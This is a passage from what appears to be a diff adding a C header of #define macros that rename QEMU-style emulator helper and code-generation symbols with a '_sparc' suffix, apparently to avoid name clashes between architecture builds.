gen_helper_vfp_get_fpscr_sparc +#define gen_helper_vfp_maxnumd gen_helper_vfp_maxnumd_sparc +#define gen_helper_vfp_maxnums gen_helper_vfp_maxnums_sparc +#define gen_helper_vfp_maxs gen_helper_vfp_maxs_sparc +#define gen_helper_vfp_minnumd gen_helper_vfp_minnumd_sparc +#define gen_helper_vfp_minnums gen_helper_vfp_minnums_sparc +#define gen_helper_vfp_mins gen_helper_vfp_mins_sparc +#define gen_helper_vfp_muladdd gen_helper_vfp_muladdd_sparc +#define gen_helper_vfp_muladds gen_helper_vfp_muladds_sparc +#define gen_helper_vfp_muld gen_helper_vfp_muld_sparc +#define gen_helper_vfp_muls gen_helper_vfp_muls_sparc +#define gen_helper_vfp_negd gen_helper_vfp_negd_sparc +#define gen_helper_vfp_negs gen_helper_vfp_negs_sparc +#define gen_helper_vfp_set_fpscr gen_helper_vfp_set_fpscr_sparc +#define gen_helper_vfp_shtod gen_helper_vfp_shtod_sparc +#define gen_helper_vfp_shtos gen_helper_vfp_shtos_sparc +#define gen_helper_vfp_sitod gen_helper_vfp_sitod_sparc +#define gen_helper_vfp_sitos gen_helper_vfp_sitos_sparc +#define gen_helper_vfp_sltod gen_helper_vfp_sltod_sparc +#define gen_helper_vfp_sltos gen_helper_vfp_sltos_sparc +#define gen_helper_vfp_sqrtd gen_helper_vfp_sqrtd_sparc +#define gen_helper_vfp_sqrts gen_helper_vfp_sqrts_sparc +#define gen_helper_vfp_subd gen_helper_vfp_subd_sparc +#define gen_helper_vfp_subs gen_helper_vfp_subs_sparc +#define gen_helper_vfp_toshd_round_to_zero gen_helper_vfp_toshd_round_to_zero_sparc +#define gen_helper_vfp_toshs_round_to_zero gen_helper_vfp_toshs_round_to_zero_sparc +#define gen_helper_vfp_tosid gen_helper_vfp_tosid_sparc +#define gen_helper_vfp_tosis gen_helper_vfp_tosis_sparc +#define gen_helper_vfp_tosizd gen_helper_vfp_tosizd_sparc +#define gen_helper_vfp_tosizs gen_helper_vfp_tosizs_sparc +#define gen_helper_vfp_tosld gen_helper_vfp_tosld_sparc +#define gen_helper_vfp_tosld_round_to_zero gen_helper_vfp_tosld_round_to_zero_sparc +#define gen_helper_vfp_tosls gen_helper_vfp_tosls_sparc +#define gen_helper_vfp_tosls_round_to_zero gen_helper_vfp_tosls_round_to_zero_sparc +#define gen_helper_vfp_touhd_round_to_zero gen_helper_vfp_touhd_round_to_zero_sparc +#define gen_helper_vfp_touhs_round_to_zero gen_helper_vfp_touhs_round_to_zero_sparc +#define gen_helper_vfp_touid gen_helper_vfp_touid_sparc +#define gen_helper_vfp_touis gen_helper_vfp_touis_sparc +#define gen_helper_vfp_touizd gen_helper_vfp_touizd_sparc +#define gen_helper_vfp_touizs gen_helper_vfp_touizs_sparc +#define gen_helper_vfp_tould gen_helper_vfp_tould_sparc +#define gen_helper_vfp_tould_round_to_zero gen_helper_vfp_tould_round_to_zero_sparc +#define gen_helper_vfp_touls gen_helper_vfp_touls_sparc +#define gen_helper_vfp_touls_round_to_zero gen_helper_vfp_touls_round_to_zero_sparc +#define gen_helper_vfp_uhtod gen_helper_vfp_uhtod_sparc +#define gen_helper_vfp_uhtos gen_helper_vfp_uhtos_sparc +#define gen_helper_vfp_uitod gen_helper_vfp_uitod_sparc +#define gen_helper_vfp_uitos gen_helper_vfp_uitos_sparc +#define gen_helper_vfp_ultod gen_helper_vfp_ultod_sparc +#define gen_helper_vfp_ultos gen_helper_vfp_ultos_sparc +#define gen_helper_wfe gen_helper_wfe_sparc +#define gen_helper_wfi gen_helper_wfi_sparc +#define gen_hvc gen_hvc_sparc +#define gen_intermediate_code_internal gen_intermediate_code_internal_sparc +#define gen_intermediate_code_internal_a64 gen_intermediate_code_internal_a64_sparc +#define gen_iwmmxt_address gen_iwmmxt_address_sparc +#define gen_iwmmxt_shift gen_iwmmxt_shift_sparc +#define gen_jmp gen_jmp_sparc +#define gen_load_and_replicate gen_load_and_replicate_sparc +#define gen_load_exclusive gen_load_exclusive_sparc +#define gen_logic_CC gen_logic_CC_sparc +#define gen_logicq_cc gen_logicq_cc_sparc +#define gen_lookup_tb gen_lookup_tb_sparc +#define gen_mov_F0_vreg gen_mov_F0_vreg_sparc +#define gen_mov_F1_vreg gen_mov_F1_vreg_sparc +#define gen_mov_vreg_F0 gen_mov_vreg_F0_sparc +#define gen_muls_i64_i32 gen_muls_i64_i32_sparc +#define gen_mulu_i64_i32 gen_mulu_i64_i32_sparc +#define gen_mulxy gen_mulxy_sparc +#define gen_neon_add gen_neon_add_sparc +#define gen_neon_addl gen_neon_addl_sparc +#define gen_neon_addl_saturate gen_neon_addl_saturate_sparc +#define gen_neon_bsl gen_neon_bsl_sparc +#define gen_neon_dup_high16 gen_neon_dup_high16_sparc +#define gen_neon_dup_low16 gen_neon_dup_low16_sparc +#define gen_neon_dup_u8 gen_neon_dup_u8_sparc +#define gen_neon_mull gen_neon_mull_sparc +#define gen_neon_narrow gen_neon_narrow_sparc +#define gen_neon_narrow_op gen_neon_narrow_op_sparc +#define gen_neon_narrow_sats gen_neon_narrow_sats_sparc +#define gen_neon_narrow_satu gen_neon_narrow_satu_sparc +#define gen_neon_negl gen_neon_negl_sparc +#define gen_neon_rsb gen_neon_rsb_sparc +#define gen_neon_shift_narrow gen_neon_shift_narrow_sparc +#define gen_neon_subl gen_neon_subl_sparc +#define gen_neon_trn_u16 gen_neon_trn_u16_sparc +#define gen_neon_trn_u8 gen_neon_trn_u8_sparc +#define gen_neon_unarrow_sats gen_neon_unarrow_sats_sparc +#define gen_neon_unzip gen_neon_unzip_sparc +#define gen_neon_widen gen_neon_widen_sparc +#define gen_neon_zip gen_neon_zip_sparc +#define gen_new_label gen_new_label_sparc +#define gen_nop_hint gen_nop_hint_sparc +#define gen_op_iwmmxt_addl_M0_wRn gen_op_iwmmxt_addl_M0_wRn_sparc +#define gen_op_iwmmxt_addnb_M0_wRn gen_op_iwmmxt_addnb_M0_wRn_sparc +#define gen_op_iwmmxt_addnl_M0_wRn gen_op_iwmmxt_addnl_M0_wRn_sparc +#define gen_op_iwmmxt_addnw_M0_wRn gen_op_iwmmxt_addnw_M0_wRn_sparc +#define gen_op_iwmmxt_addsb_M0_wRn gen_op_iwmmxt_addsb_M0_wRn_sparc +#define gen_op_iwmmxt_addsl_M0_wRn gen_op_iwmmxt_addsl_M0_wRn_sparc +#define gen_op_iwmmxt_addsw_M0_wRn gen_op_iwmmxt_addsw_M0_wRn_sparc +#define gen_op_iwmmxt_addub_M0_wRn gen_op_iwmmxt_addub_M0_wRn_sparc +#define gen_op_iwmmxt_addul_M0_wRn gen_op_iwmmxt_addul_M0_wRn_sparc +#define gen_op_iwmmxt_adduw_M0_wRn gen_op_iwmmxt_adduw_M0_wRn_sparc +#define gen_op_iwmmxt_andq_M0_wRn gen_op_iwmmxt_andq_M0_wRn_sparc +#define gen_op_iwmmxt_avgb0_M0_wRn gen_op_iwmmxt_avgb0_M0_wRn_sparc +#define gen_op_iwmmxt_avgb1_M0_wRn gen_op_iwmmxt_avgb1_M0_wRn_sparc +#define gen_op_iwmmxt_avgw0_M0_wRn gen_op_iwmmxt_avgw0_M0_wRn_sparc +#define gen_op_iwmmxt_avgw1_M0_wRn gen_op_iwmmxt_avgw1_M0_wRn_sparc +#define gen_op_iwmmxt_cmpeqb_M0_wRn gen_op_iwmmxt_cmpeqb_M0_wRn_sparc +#define gen_op_iwmmxt_cmpeql_M0_wRn gen_op_iwmmxt_cmpeql_M0_wRn_sparc +#define gen_op_iwmmxt_cmpeqw_M0_wRn gen_op_iwmmxt_cmpeqw_M0_wRn_sparc +#define gen_op_iwmmxt_cmpgtsb_M0_wRn gen_op_iwmmxt_cmpgtsb_M0_wRn_sparc +#define gen_op_iwmmxt_cmpgtsl_M0_wRn gen_op_iwmmxt_cmpgtsl_M0_wRn_sparc +#define gen_op_iwmmxt_cmpgtsw_M0_wRn gen_op_iwmmxt_cmpgtsw_M0_wRn_sparc +#define gen_op_iwmmxt_cmpgtub_M0_wRn gen_op_iwmmxt_cmpgtub_M0_wRn_sparc +#define gen_op_iwmmxt_cmpgtul_M0_wRn gen_op_iwmmxt_cmpgtul_M0_wRn_sparc +#define gen_op_iwmmxt_cmpgtuw_M0_wRn gen_op_iwmmxt_cmpgtuw_M0_wRn_sparc +#define gen_op_iwmmxt_macsw_M0_wRn gen_op_iwmmxt_macsw_M0_wRn_sparc +#define gen_op_iwmmxt_macuw_M0_wRn gen_op_iwmmxt_macuw_M0_wRn_sparc +#define gen_op_iwmmxt_maddsq_M0_wRn gen_op_iwmmxt_maddsq_M0_wRn_sparc +#define gen_op_iwmmxt_madduq_M0_wRn gen_op_iwmmxt_madduq_M0_wRn_sparc +#define gen_op_iwmmxt_maxsb_M0_wRn gen_op_iwmmxt_maxsb_M0_wRn_sparc +#define gen_op_iwmmxt_maxsl_M0_wRn gen_op_iwmmxt_maxsl_M0_wRn_sparc +#define gen_op_iwmmxt_maxsw_M0_wRn gen_op_iwmmxt_maxsw_M0_wRn_sparc +#define gen_op_iwmmxt_maxub_M0_wRn gen_op_iwmmxt_maxub_M0_wRn_sparc +#define gen_op_iwmmxt_maxul_M0_wRn gen_op_iwmmxt_maxul_M0_wRn_sparc +#define gen_op_iwmmxt_maxuw_M0_wRn gen_op_iwmmxt_maxuw_M0_wRn_sparc +#define gen_op_iwmmxt_minsb_M0_wRn gen_op_iwmmxt_minsb_M0_wRn_sparc +#define gen_op_iwmmxt_minsl_M0_wRn gen_op_iwmmxt_minsl_M0_wRn_sparc +#define gen_op_iwmmxt_minsw_M0_wRn gen_op_iwmmxt_minsw_M0_wRn_sparc +#define gen_op_iwmmxt_minub_M0_wRn gen_op_iwmmxt_minub_M0_wRn_sparc +#define gen_op_iwmmxt_minul_M0_wRn gen_op_iwmmxt_minul_M0_wRn_sparc +#define gen_op_iwmmxt_minuw_M0_wRn gen_op_iwmmxt_minuw_M0_wRn_sparc +#define gen_op_iwmmxt_movq_M0_wRn gen_op_iwmmxt_movq_M0_wRn_sparc +#define gen_op_iwmmxt_movq_wRn_M0 gen_op_iwmmxt_movq_wRn_M0_sparc +#define gen_op_iwmmxt_mulshw_M0_wRn gen_op_iwmmxt_mulshw_M0_wRn_sparc +#define gen_op_iwmmxt_mulslw_M0_wRn gen_op_iwmmxt_mulslw_M0_wRn_sparc +#define gen_op_iwmmxt_muluhw_M0_wRn gen_op_iwmmxt_muluhw_M0_wRn_sparc +#define gen_op_iwmmxt_mululw_M0_wRn gen_op_iwmmxt_mululw_M0_wRn_sparc +#define gen_op_iwmmxt_orq_M0_wRn gen_op_iwmmxt_orq_M0_wRn_sparc +#define gen_op_iwmmxt_packsl_M0_wRn gen_op_iwmmxt_packsl_M0_wRn_sparc +#define gen_op_iwmmxt_packsq_M0_wRn gen_op_iwmmxt_packsq_M0_wRn_sparc +#define gen_op_iwmmxt_packsw_M0_wRn gen_op_iwmmxt_packsw_M0_wRn_sparc +#define gen_op_iwmmxt_packul_M0_wRn gen_op_iwmmxt_packul_M0_wRn_sparc +#define gen_op_iwmmxt_packuq_M0_wRn gen_op_iwmmxt_packuq_M0_wRn_sparc +#define gen_op_iwmmxt_packuw_M0_wRn gen_op_iwmmxt_packuw_M0_wRn_sparc +#define gen_op_iwmmxt_sadb_M0_wRn gen_op_iwmmxt_sadb_M0_wRn_sparc +#define gen_op_iwmmxt_sadw_M0_wRn gen_op_iwmmxt_sadw_M0_wRn_sparc +#define gen_op_iwmmxt_set_cup gen_op_iwmmxt_set_cup_sparc +#define gen_op_iwmmxt_set_mup gen_op_iwmmxt_set_mup_sparc +#define gen_op_iwmmxt_setpsr_nz gen_op_iwmmxt_setpsr_nz_sparc +#define gen_op_iwmmxt_subnb_M0_wRn gen_op_iwmmxt_subnb_M0_wRn_sparc +#define gen_op_iwmmxt_subnl_M0_wRn gen_op_iwmmxt_subnl_M0_wRn_sparc +#define gen_op_iwmmxt_subnw_M0_wRn gen_op_iwmmxt_subnw_M0_wRn_sparc +#define gen_op_iwmmxt_subsb_M0_wRn gen_op_iwmmxt_subsb_M0_wRn_sparc +#define gen_op_iwmmxt_subsl_M0_wRn gen_op_iwmmxt_subsl_M0_wRn_sparc +#define gen_op_iwmmxt_subsw_M0_wRn gen_op_iwmmxt_subsw_M0_wRn_sparc +#define gen_op_iwmmxt_subub_M0_wRn gen_op_iwmmxt_subub_M0_wRn_sparc +#define gen_op_iwmmxt_subul_M0_wRn gen_op_iwmmxt_subul_M0_wRn_sparc +#define gen_op_iwmmxt_subuw_M0_wRn gen_op_iwmmxt_subuw_M0_wRn_sparc +#define gen_op_iwmmxt_unpackhb_M0_wRn gen_op_iwmmxt_unpackhb_M0_wRn_sparc +#define gen_op_iwmmxt_unpackhl_M0_wRn gen_op_iwmmxt_unpackhl_M0_wRn_sparc +#define gen_op_iwmmxt_unpackhsb_M0 gen_op_iwmmxt_unpackhsb_M0_sparc +#define gen_op_iwmmxt_unpackhsl_M0 gen_op_iwmmxt_unpackhsl_M0_sparc +#define gen_op_iwmmxt_unpackhsw_M0 gen_op_iwmmxt_unpackhsw_M0_sparc +#define gen_op_iwmmxt_unpackhub_M0 gen_op_iwmmxt_unpackhub_M0_sparc +#define gen_op_iwmmxt_unpackhul_M0 gen_op_iwmmxt_unpackhul_M0_sparc +#define gen_op_iwmmxt_unpackhuw_M0 gen_op_iwmmxt_unpackhuw_M0_sparc +#define gen_op_iwmmxt_unpackhw_M0_wRn gen_op_iwmmxt_unpackhw_M0_wRn_sparc +#define gen_op_iwmmxt_unpacklb_M0_wRn gen_op_iwmmxt_unpacklb_M0_wRn_sparc +#define gen_op_iwmmxt_unpackll_M0_wRn gen_op_iwmmxt_unpackll_M0_wRn_sparc +#define gen_op_iwmmxt_unpacklsb_M0 gen_op_iwmmxt_unpacklsb_M0_sparc +#define gen_op_iwmmxt_unpacklsl_M0 gen_op_iwmmxt_unpacklsl_M0_sparc +#define gen_op_iwmmxt_unpacklsw_M0 gen_op_iwmmxt_unpacklsw_M0_sparc +#define gen_op_iwmmxt_unpacklub_M0 gen_op_iwmmxt_unpacklub_M0_sparc +#define gen_op_iwmmxt_unpacklul_M0 gen_op_iwmmxt_unpacklul_M0_sparc +#define gen_op_iwmmxt_unpackluw_M0 gen_op_iwmmxt_unpackluw_M0_sparc +#define gen_op_iwmmxt_unpacklw_M0_wRn gen_op_iwmmxt_unpacklw_M0_wRn_sparc +#define gen_op_iwmmxt_xorq_M0_wRn gen_op_iwmmxt_xorq_M0_wRn_sparc +#define gen_rev16 gen_rev16_sparc +#define gen_revsh gen_revsh_sparc +#define gen_rfe gen_rfe_sparc +#define gen_sar gen_sar_sparc +#define gen_sbc_CC gen_sbc_CC_sparc +#define gen_sbfx gen_sbfx_sparc +#define gen_set_CF_bit31 gen_set_CF_bit31_sparc +#define gen_set_condexec gen_set_condexec_sparc +#define gen_set_cpsr gen_set_cpsr_sparc +#define gen_set_label gen_set_label_sparc +#define gen_set_pc_im gen_set_pc_im_sparc +#define gen_set_psr gen_set_psr_sparc +#define gen_set_psr_im gen_set_psr_im_sparc +#define gen_shl gen_shl_sparc +#define gen_shr gen_shr_sparc +#define gen_smc gen_smc_sparc +#define gen_smul_dual gen_smul_dual_sparc +#define gen_srs gen_srs_sparc +#define gen_ss_advance gen_ss_advance_sparc +#define gen_step_complete_exception gen_step_complete_exception_sparc +#define gen_store_exclusive gen_store_exclusive_sparc +#define gen_storeq_reg gen_storeq_reg_sparc +#define gen_sub_carry gen_sub_carry_sparc +#define gen_sub_CC gen_sub_CC_sparc +#define gen_subq_msw gen_subq_msw_sparc +#define gen_swap_half gen_swap_half_sparc +#define gen_thumb2_data_op gen_thumb2_data_op_sparc +#define gen_thumb2_parallel_addsub gen_thumb2_parallel_addsub_sparc +#define gen_ubfx gen_ubfx_sparc +#define gen_vfp_abs gen_vfp_abs_sparc +#define gen_vfp_add gen_vfp_add_sparc +#define gen_vfp_cmp gen_vfp_cmp_sparc +#define gen_vfp_cmpe gen_vfp_cmpe_sparc +#define gen_vfp_div gen_vfp_div_sparc +#define gen_vfp_F1_ld0 gen_vfp_F1_ld0_sparc +#define gen_vfp_F1_mul gen_vfp_F1_mul_sparc +#define gen_vfp_F1_neg gen_vfp_F1_neg_sparc +#define gen_vfp_ld gen_vfp_ld_sparc +#define gen_vfp_mrs gen_vfp_mrs_sparc +#define gen_vfp_msr gen_vfp_msr_sparc +#define gen_vfp_mul gen_vfp_mul_sparc +#define gen_vfp_neg gen_vfp_neg_sparc +#define gen_vfp_shto gen_vfp_shto_sparc +#define gen_vfp_sito gen_vfp_sito_sparc +#define gen_vfp_slto gen_vfp_slto_sparc +#define gen_vfp_sqrt gen_vfp_sqrt_sparc +#define gen_vfp_st gen_vfp_st_sparc +#define gen_vfp_sub gen_vfp_sub_sparc +#define gen_vfp_tosh gen_vfp_tosh_sparc +#define gen_vfp_tosi gen_vfp_tosi_sparc +#define gen_vfp_tosiz gen_vfp_tosiz_sparc +#define gen_vfp_tosl gen_vfp_tosl_sparc +#define gen_vfp_touh gen_vfp_touh_sparc +#define gen_vfp_toui gen_vfp_toui_sparc +#define gen_vfp_touiz gen_vfp_touiz_sparc +#define gen_vfp_toul gen_vfp_toul_sparc +#define gen_vfp_uhto gen_vfp_uhto_sparc +#define gen_vfp_uito gen_vfp_uito_sparc +#define gen_vfp_ulto gen_vfp_ulto_sparc +#define get_arm_cp_reginfo get_arm_cp_reginfo_sparc +#define get_clock get_clock_sparc +#define get_clock_realtime get_clock_realtime_sparc +#define get_constraint_priority get_constraint_priority_sparc +#define get_float_exception_flags get_float_exception_flags_sparc +#define get_float_rounding_mode get_float_rounding_mode_sparc +#define get_fpstatus_ptr get_fpstatus_ptr_sparc +#define get_level1_table_address get_level1_table_address_sparc +#define get_mem_index get_mem_index_sparc +#define get_next_param_value get_next_param_value_sparc +#define get_opt_name get_opt_name_sparc +#define get_opt_value get_opt_value_sparc +#define get_page_addr_code get_page_addr_code_sparc +#define get_param_value get_param_value_sparc +#define get_phys_addr get_phys_addr_sparc +#define get_phys_addr_lpae get_phys_addr_lpae_sparc +#define get_phys_addr_mpu get_phys_addr_mpu_sparc +#define get_phys_addr_v5 get_phys_addr_v5_sparc +#define get_phys_addr_v6 get_phys_addr_v6_sparc +#define get_system_memory get_system_memory_sparc +#define get_ticks_per_sec get_ticks_per_sec_sparc +#define g_list_insert_sorted_merged g_list_insert_sorted_merged_sparc +#define _GLOBAL_OFFSET_TABLE_ _GLOBAL_OFFSET_TABLE__sparc +#define gt_cntfrq_access gt_cntfrq_access_sparc +#define gt_cnt_read gt_cnt_read_sparc +#define gt_cnt_reset gt_cnt_reset_sparc +#define gt_counter_access gt_counter_access_sparc +#define gt_ctl_write gt_ctl_write_sparc +#define gt_cval_write gt_cval_write_sparc +#define gt_get_countervalue gt_get_countervalue_sparc +#define gt_pct_access gt_pct_access_sparc +#define gt_ptimer_access gt_ptimer_access_sparc +#define gt_recalc_timer gt_recalc_timer_sparc +#define gt_timer_access gt_timer_access_sparc +#define gt_tval_read gt_tval_read_sparc +#define gt_tval_write gt_tval_write_sparc +#define gt_vct_access gt_vct_access_sparc +#define gt_vtimer_access gt_vtimer_access_sparc +#define guest_phys_blocks_free guest_phys_blocks_free_sparc +#define guest_phys_blocks_init guest_phys_blocks_init_sparc +#define handle_vcvt handle_vcvt_sparc +#define handle_vminmaxnm handle_vminmaxnm_sparc +#define handle_vrint handle_vrint_sparc +#define handle_vsel handle_vsel_sparc +#define has_help_option has_help_option_sparc +#define have_bmi1 have_bmi1_sparc +#define have_bmi2 have_bmi2_sparc +#define hcr_write hcr_write_sparc +#define helper_access_check_cp_reg helper_access_check_cp_reg_sparc +#define helper_add_saturate helper_add_saturate_sparc +#define helper_add_setq helper_add_setq_sparc +#define helper_add_usaturate helper_add_usaturate_sparc +#define helper_be_ldl_cmmu helper_be_ldl_cmmu_sparc +#define helper_be_ldq_cmmu helper_be_ldq_cmmu_sparc +#define helper_be_ldq_mmu helper_be_ldq_mmu_sparc +#define helper_be_ldsl_mmu helper_be_ldsl_mmu_sparc +#define helper_be_ldsw_mmu helper_be_ldsw_mmu_sparc +#define helper_be_ldul_mmu helper_be_ldul_mmu_sparc +#define helper_be_lduw_mmu helper_be_lduw_mmu_sparc +#define helper_be_ldw_cmmu helper_be_ldw_cmmu_sparc +#define helper_be_stl_mmu helper_be_stl_mmu_sparc +#define helper_be_stq_mmu helper_be_stq_mmu_sparc +#define helper_be_stw_mmu helper_be_stw_mmu_sparc +#define helper_clear_pstate_ss helper_clear_pstate_ss_sparc +#define helper_clz_arm helper_clz_arm_sparc +#define helper_cpsr_read helper_cpsr_read_sparc +#define helper_cpsr_write helper_cpsr_write_sparc +#define helper_crc32_arm helper_crc32_arm_sparc +#define helper_crc32c helper_crc32c_sparc +#define helper_crypto_aese helper_crypto_aese_sparc +#define helper_crypto_aesmc helper_crypto_aesmc_sparc +#define helper_crypto_sha1_3reg helper_crypto_sha1_3reg_sparc +#define helper_crypto_sha1h helper_crypto_sha1h_sparc +#define helper_crypto_sha1su1 helper_crypto_sha1su1_sparc +#define helper_crypto_sha256h helper_crypto_sha256h_sparc +#define helper_crypto_sha256h2 helper_crypto_sha256h2_sparc +#define helper_crypto_sha256su0 helper_crypto_sha256su0_sparc +#define helper_crypto_sha256su1 helper_crypto_sha256su1_sparc +#define helper_dc_zva helper_dc_zva_sparc +#define helper_double_saturate helper_double_saturate_sparc +#define helper_exception_internal helper_exception_internal_sparc +#define helper_exception_return helper_exception_return_sparc +#define helper_exception_with_syndrome helper_exception_with_syndrome_sparc +#define helper_get_cp_reg helper_get_cp_reg_sparc +#define helper_get_cp_reg64 helper_get_cp_reg64_sparc +#define helper_get_r13_banked helper_get_r13_banked_sparc +#define helper_get_user_reg helper_get_user_reg_sparc +#define helper_iwmmxt_addcb helper_iwmmxt_addcb_sparc +#define helper_iwmmxt_addcl helper_iwmmxt_addcl_sparc +#define helper_iwmmxt_addcw helper_iwmmxt_addcw_sparc +#define helper_iwmmxt_addnb helper_iwmmxt_addnb_sparc +#define helper_iwmmxt_addnl helper_iwmmxt_addnl_sparc +#define helper_iwmmxt_addnw helper_iwmmxt_addnw_sparc +#define helper_iwmmxt_addsb helper_iwmmxt_addsb_sparc +#define helper_iwmmxt_addsl helper_iwmmxt_addsl_sparc +#define helper_iwmmxt_addsw helper_iwmmxt_addsw_sparc +#define helper_iwmmxt_addub helper_iwmmxt_addub_sparc +#define helper_iwmmxt_addul helper_iwmmxt_addul_sparc +#define helper_iwmmxt_adduw helper_iwmmxt_adduw_sparc +#define helper_iwmmxt_align helper_iwmmxt_align_sparc +#define helper_iwmmxt_avgb0 helper_iwmmxt_avgb0_sparc +#define helper_iwmmxt_avgb1 helper_iwmmxt_avgb1_sparc +#define helper_iwmmxt_avgw0 helper_iwmmxt_avgw0_sparc +#define helper_iwmmxt_avgw1 helper_iwmmxt_avgw1_sparc +#define helper_iwmmxt_bcstb helper_iwmmxt_bcstb_sparc +#define helper_iwmmxt_bcstl helper_iwmmxt_bcstl_sparc +#define helper_iwmmxt_bcstw helper_iwmmxt_bcstw_sparc +#define helper_iwmmxt_cmpeqb helper_iwmmxt_cmpeqb_sparc +#define helper_iwmmxt_cmpeql helper_iwmmxt_cmpeql_sparc +#define helper_iwmmxt_cmpeqw helper_iwmmxt_cmpeqw_sparc +#define helper_iwmmxt_cmpgtsb helper_iwmmxt_cmpgtsb_sparc +#define helper_iwmmxt_cmpgtsl helper_iwmmxt_cmpgtsl_sparc +#define helper_iwmmxt_cmpgtsw helper_iwmmxt_cmpgtsw_sparc +#define helper_iwmmxt_cmpgtub helper_iwmmxt_cmpgtub_sparc +#define helper_iwmmxt_cmpgtul helper_iwmmxt_cmpgtul_sparc +#define helper_iwmmxt_cmpgtuw helper_iwmmxt_cmpgtuw_sparc +#define helper_iwmmxt_insr helper_iwmmxt_insr_sparc +#define helper_iwmmxt_macsw helper_iwmmxt_macsw_sparc +#define helper_iwmmxt_macuw helper_iwmmxt_macuw_sparc +#define helper_iwmmxt_maddsq helper_iwmmxt_maddsq_sparc +#define helper_iwmmxt_madduq helper_iwmmxt_madduq_sparc +#define helper_iwmmxt_maxsb helper_iwmmxt_maxsb_sparc +#define helper_iwmmxt_maxsl helper_iwmmxt_maxsl_sparc +#define helper_iwmmxt_maxsw helper_iwmmxt_maxsw_sparc +#define helper_iwmmxt_maxub helper_iwmmxt_maxub_sparc +#define helper_iwmmxt_maxul helper_iwmmxt_maxul_sparc +#define helper_iwmmxt_maxuw helper_iwmmxt_maxuw_sparc +#define helper_iwmmxt_minsb helper_iwmmxt_minsb_sparc +#define helper_iwmmxt_minsl helper_iwmmxt_minsl_sparc +#define helper_iwmmxt_minsw helper_iwmmxt_minsw_sparc +#define helper_iwmmxt_minub helper_iwmmxt_minub_sparc +#define helper_iwmmxt_minul helper_iwmmxt_minul_sparc +#define helper_iwmmxt_minuw helper_iwmmxt_minuw_sparc +#define helper_iwmmxt_msbb helper_iwmmxt_msbb_sparc +#define helper_iwmmxt_msbl helper_iwmmxt_msbl_sparc +#define helper_iwmmxt_msbw helper_iwmmxt_msbw_sparc +#define helper_iwmmxt_muladdsl helper_iwmmxt_muladdsl_sparc +#define helper_iwmmxt_muladdsw helper_iwmmxt_muladdsw_sparc +#define helper_iwmmxt_muladdswl helper_iwmmxt_muladdswl_sparc +#define helper_iwmmxt_mulshw helper_iwmmxt_mulshw_sparc +#define helper_iwmmxt_mulslw helper_iwmmxt_mulslw_sparc +#define helper_iwmmxt_muluhw helper_iwmmxt_muluhw_sparc +#define helper_iwmmxt_mululw helper_iwmmxt_mululw_sparc +#define helper_iwmmxt_packsl helper_iwmmxt_packsl_sparc +#define helper_iwmmxt_packsq helper_iwmmxt_packsq_sparc +#define helper_iwmmxt_packsw helper_iwmmxt_packsw_sparc +#define helper_iwmmxt_packul helper_iwmmxt_packul_sparc +#define helper_iwmmxt_packuq helper_iwmmxt_packuq_sparc +#define helper_iwmmxt_packuw helper_iwmmxt_packuw_sparc +#define helper_iwmmxt_rorl helper_iwmmxt_rorl_sparc +#define helper_iwmmxt_rorq helper_iwmmxt_rorq_sparc +#define helper_iwmmxt_rorw helper_iwmmxt_rorw_sparc +#define helper_iwmmxt_sadb helper_iwmmxt_sadb_sparc +#define helper_iwmmxt_sadw helper_iwmmxt_sadw_sparc +#define helper_iwmmxt_setpsr_nz helper_iwmmxt_setpsr_nz_sparc +#define helper_iwmmxt_shufh helper_iwmmxt_shufh_sparc +#define helper_iwmmxt_slll helper_iwmmxt_slll_sparc +#define helper_iwmmxt_sllq helper_iwmmxt_sllq_sparc +#define helper_iwmmxt_sllw helper_iwmmxt_sllw_sparc +#define helper_iwmmxt_sral helper_iwmmxt_sral_sparc +#define helper_iwmmxt_sraq helper_iwmmxt_sraq_sparc +#define helper_iwmmxt_sraw helper_iwmmxt_sraw_sparc +#define helper_iwmmxt_srll helper_iwmmxt_srll_sparc +#define helper_iwmmxt_srlq helper_iwmmxt_srlq_sparc +#define helper_iwmmxt_srlw helper_iwmmxt_srlw_sparc +#define helper_iwmmxt_subnb helper_iwmmxt_subnb_sparc +#define helper_iwmmxt_subnl helper_iwmmxt_subnl_sparc +#define helper_iwmmxt_subnw helper_iwmmxt_subnw_sparc +#define helper_iwmmxt_subsb helper_iwmmxt_subsb_sparc +#define helper_iwmmxt_subsl helper_iwmmxt_subsl_sparc +#define helper_iwmmxt_subsw helper_iwmmxt_subsw_sparc +#define helper_iwmmxt_subub helper_iwmmxt_subub_sparc +#define helper_iwmmxt_subul helper_iwmmxt_subul_sparc +#define helper_iwmmxt_subuw helper_iwmmxt_subuw_sparc +#define helper_iwmmxt_unpackhb helper_iwmmxt_unpackhb_sparc +#define helper_iwmmxt_unpackhl helper_iwmmxt_unpackhl_sparc +#define helper_iwmmxt_unpackhsb helper_iwmmxt_unpackhsb_sparc +#define helper_iwmmxt_unpackhsl helper_iwmmxt_unpackhsl_sparc +#define helper_iwmmxt_unpackhsw helper_iwmmxt_unpackhsw_sparc +#define helper_iwmmxt_unpackhub helper_iwmmxt_unpackhub_sparc +#define helper_iwmmxt_unpackhul helper_iwmmxt_unpackhul_sparc +#define helper_iwmmxt_unpackhuw helper_iwmmxt_unpackhuw_sparc +#define helper_iwmmxt_unpackhw helper_iwmmxt_unpackhw_sparc +#define helper_iwmmxt_unpacklb helper_iwmmxt_unpacklb_sparc +#define helper_iwmmxt_unpackll helper_iwmmxt_unpackll_sparc +#define helper_iwmmxt_unpacklsb helper_iwmmxt_unpacklsb_sparc +#define helper_iwmmxt_unpacklsl helper_iwmmxt_unpacklsl_sparc +#define helper_iwmmxt_unpacklsw helper_iwmmxt_unpacklsw_sparc +#define helper_iwmmxt_unpacklub helper_iwmmxt_unpacklub_sparc +#define helper_iwmmxt_unpacklul helper_iwmmxt_unpacklul_sparc +#define helper_iwmmxt_unpackluw helper_iwmmxt_unpackluw_sparc +#define helper_iwmmxt_unpacklw helper_iwmmxt_unpacklw_sparc +#define helper_ldb_cmmu helper_ldb_cmmu_sparc +#define helper_ldb_mmu helper_ldb_mmu_sparc +#define helper_ldl_cmmu helper_ldl_cmmu_sparc +#define helper_ldl_mmu helper_ldl_mmu_sparc +#define helper_ldq_cmmu helper_ldq_cmmu_sparc +#define helper_ldq_mmu helper_ldq_mmu_sparc +#define helper_ldw_cmmu helper_ldw_cmmu_sparc +#define helper_ldw_mmu helper_ldw_mmu_sparc +#define helper_le_ldl_cmmu helper_le_ldl_cmmu_sparc +#define helper_le_ldq_cmmu helper_le_ldq_cmmu_sparc +#define helper_le_ldq_mmu helper_le_ldq_mmu_sparc +#define helper_le_ldsl_mmu 